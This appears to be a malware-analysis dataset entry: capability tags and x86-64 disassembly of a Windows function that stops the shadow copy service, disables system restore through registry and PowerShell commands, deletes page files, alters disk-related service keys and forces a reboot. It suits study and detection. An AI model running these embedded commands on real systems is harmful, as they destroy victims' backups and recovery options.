Function at 0x1401911f0
Capabilities:
Check if file exists
Get common file path
Get disk information
Shutdown system

Disassembly:
push rdi
sub rsp, 0x370
mov qword [rsp + 0x300], 0xfffffffffffffffe
mov rax, qword [0x1402bd5c0]
xor rax, rsp
mov qword [rsp + 0x368], rax
mov edx, 1
xor ecx, ecx
call fcn.1400e0d10
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, [0x1402587e0]
call fcn.140004880
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x30], eax
xor eax, eax
mov word [rsp + 0x40], ax
lea rdi, [rsp + 0x42]
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [rsp + 0x27c], 0x41
jmp 0x140191284
movzx eax, byte [rsp + 0x27c]
add al, 1
mov byte [rsp + 0x27c], al
movsx eax, byte [rsp + 0x27c]
cmp eax, 0x5a
jg 0x14019143b
movsx ecx, byte [rsp + 0x27c]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x1401912b5
jmp 0x140191273
lea rcx, [rsp + 0x280]
call fcn.140002d10
nop
movsx r8d, byte [rsp + 0x27c]
lea rdx, [0x140258850]
lea rcx, [rsp + 0x280]
call fcn.140002ba0
lea rcx, [rsp + 0x280]
call fcn.140050200
mov rcx, rax
call fcn.1400a99d4
mov rdi, rax
lea rcx, [rsp + 0x280]
call fcn.140050200
mov r8, rdi
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1400aab6c
test eax, eax
jne 0x14019132b
lea rcx, [rsp + 0x280]
call fcn.140007060
jmp 0x140191273
lea rcx, [rsp + 0x280]
call fcn.140050200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x140191358
lea rcx, [rsp + 0x280]
call fcn.140007060
jmp 0x140191273
lea rcx, [rsp + 0x280]
call fcn.140050200
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140191384
lea rcx, [rsp + 0x280]
call fcn.140007060
jmp 0x140191273
lea r8, [rsp + 0x280]
lea rdx, str.wmic_pagefileset_where_name_
lea rcx, [rsp + 0x2c8]
call fcn.140006d10
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x308]
mov qword [rsp + 0x310], rax
lea r8, str.pagefile.sys__delete
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x2d0]
call fcn.1400010b0
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0x320], rax
mov rcx, qword [rsp + 0x320]
call fcn.140050200
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.140004880
nop
lea rcx, [rsp + 0x2d0]
call fcn.140007060
nop
lea rcx, [rsp + 0x2c8]
call fcn.140007060
nop
lea rcx, [rsp + 0x280]
call fcn.140007060
jmp 0x140191273
mov byte [rsp + 0x288], 0x41
jmp 0x140191456
movzx eax, byte [rsp + 0x288]
add al, 1
mov byte [rsp + 0x288], al
movsx eax, byte [rsp + 0x288]
cmp eax, 0x5a
jg 0x140191611
movsx ecx, byte [rsp + 0x288]
sub ecx, 0x41
mov eax, 1
shl eax, cl
mov ecx, eax
mov eax, dword [rsp + 0x30]
and eax, ecx
test eax, eax
jne 0x140191487
jmp 0x140191445
lea rcx, [rsp + 0x290]
call fcn.140002d10
nop
movsx r8d, byte [rsp + 0x288]
lea rdx, [0x1402588d0]
lea rcx, [rsp + 0x290]
call fcn.140002ba0
lea rcx, [rsp + 0x290]
call fcn.140050200
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x1401914df
lea rcx, [rsp + 0x290]
call fcn.140007060
jmp 0x140191445
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x2d8]
call fcn.140002050
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x330], rax
lea r8, str._system32WindowsPowerShell_v1.0powershell.exe__disable_computerrestore__drive
mov rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x2e0]
call fcn.1400010b0
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x340], rax
lea r8, [rsp + 0x290]
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x2e8]
call fcn.140006c50
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x350], rax
lea r8, [0x140256ba4]
mov rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x2f0]
call fcn.1400010b0
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x360], rax
mov rcx, qword [rsp + 0x360]
call fcn.140050200
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, rax
call fcn.140004880
nop
lea rcx, [rsp + 0x2f0]
call fcn.140007060
nop
lea rcx, [rsp + 0x2e8]
call fcn.140007060
nop
lea rcx, [rsp + 0x2e0]
call fcn.140007060
nop
lea rcx, [rsp + 0x2d8]
call fcn.140007060
nop
lea rcx, [rsp + 0x290]
call fcn.140007060
jmp 0x140191445
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.net_stop_vss
call fcn.140004880
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore___v_RPSessionInterval__t_REG_DWORD__d_0__f
call fcn.140004880
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_DELETE__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.140004880
xor r9d, r9d
mov r8d, 1
xor edx, edx
lea rcx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSPPClients___f
call fcn.140004880
call fcn.140190440
mov dword [rsp + 0x278], eax
lea rcx, [rsp + 0x268]
call fcn.1400054b0
nop
mov r9d, 0x20019
lea r8, [0x140258c00]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005670
test eax, eax
jne 0x140191737
mov dword [rsp + 0x298], 3
lea r8, [rsp + 0x298]
lea rdx, [0x140258c58]
lea rcx, [rsp + 0x268]
call fcn.140005700
lea rcx, [rsp + 0x268]
call fcn.140005540
cmp dword [rsp + 0x298], 0
je 0x140191737
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesmsahci
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005670
test eax, eax
jne 0x140191737
xor r8d, r8d
lea rdx, [0x140258cc8]
lea rcx, [rsp + 0x268]
call fcn.1400059f0
lea rcx, [rsp + 0x268]
call fcn.140005540
mov r9d, 0x20019
lea r8, [0x140258cf0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005670
test eax, eax
jne 0x1401917e7
mov dword [rsp + 0x29c], 1
lea r8, [rsp + 0x29c]
lea rdx, [0x140258d60]
lea rcx, [rsp + 0x268]
call fcn.140005700
lea rcx, [rsp + 0x268]
call fcn.140005540
cmp dword [rsp + 0x29c], 0
je 0x1401917e7
mov r9d, 0x2001f
lea r8, str.SYSTEMCurrentControlSet_servicesPerfDiskPerformance
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x268]
call fcn.140005670
test eax, eax
jne 0x1401917e7
xor r8d, r8d
lea rdx, str.Disable_Performance_Counters
lea rcx, [rsp + 0x268]
call fcn.1400059f0
lea rcx, [rsp + 0x268]
call fcn.140005540
lea rcx, [rsp + 0x250]
call fcn.1400054b0
nop
mov r9d, 0x20019
lea r8, str.SystemCurrentControlSetServices_vds
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005670
test eax, eax
jne 0x140191874
lea rcx, [rsp + 0x250]
call fcn.140005540
mov r9d, 0x2001f
lea r8, [0x140258ea0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x250]
call fcn.140005670
test eax, eax
jne 0x140191874
lea r8, [0x140258ef8]
lea rdx, str.DependOnService
lea rcx, [rsp + 0x250]
call fcn.140005af0
lea rcx, [rsp + 0x250]
call fcn.140005540
call fcn.1401e9280
mov dword [rsp + 0x260], eax
cmp dword [rsp + 0x278], 0
jne 0x140191898
cmp dword [rsp + 0x260], 2
jne 0x140191988
mov r8d, 0xffffffff
mov edx, 0x44
mov ecx, 0x83
call fcn.1400f2960
cmp eax, 6
jne 0x140191988
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x2a0], rax
lea r8, [rsp + 0x2a8]
mov edx, 0x20
mov rcx, qword [rsp + 0x2a0]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x2b8], 1
lea r8, [rsp + 0x2b0]
lea rdx, [0x140258a98]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rdx, qword [rsp + 0x2b0]
mov qword [rsp + 0x2bc], rdx
mov dword [rsp + 0x2c4], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x2b8]
xor edx, edx
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x80020003
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [rsp + 0x2f8], 0
lea rcx, [rsp + 0x250]
call fcn.1400054e0
nop
lea rcx, [rsp + 0x268]
call fcn.1400054e0
mov eax, dword [rsp + 0x2f8]
jmp 0x1401919b5
mov dword [rsp + 0x2fc], 1
lea rcx, [rsp + 0x250]
call fcn.1400054e0
nop
lea rcx, [rsp + 0x268]
call fcn.1400054e0
mov eax, dword [rsp + 0x2fc]
mov rcx, qword [rsp + 0x368]
xor rcx, rsp
call fcn.1400a9820
add rsp, 0x370
pop rdi
ret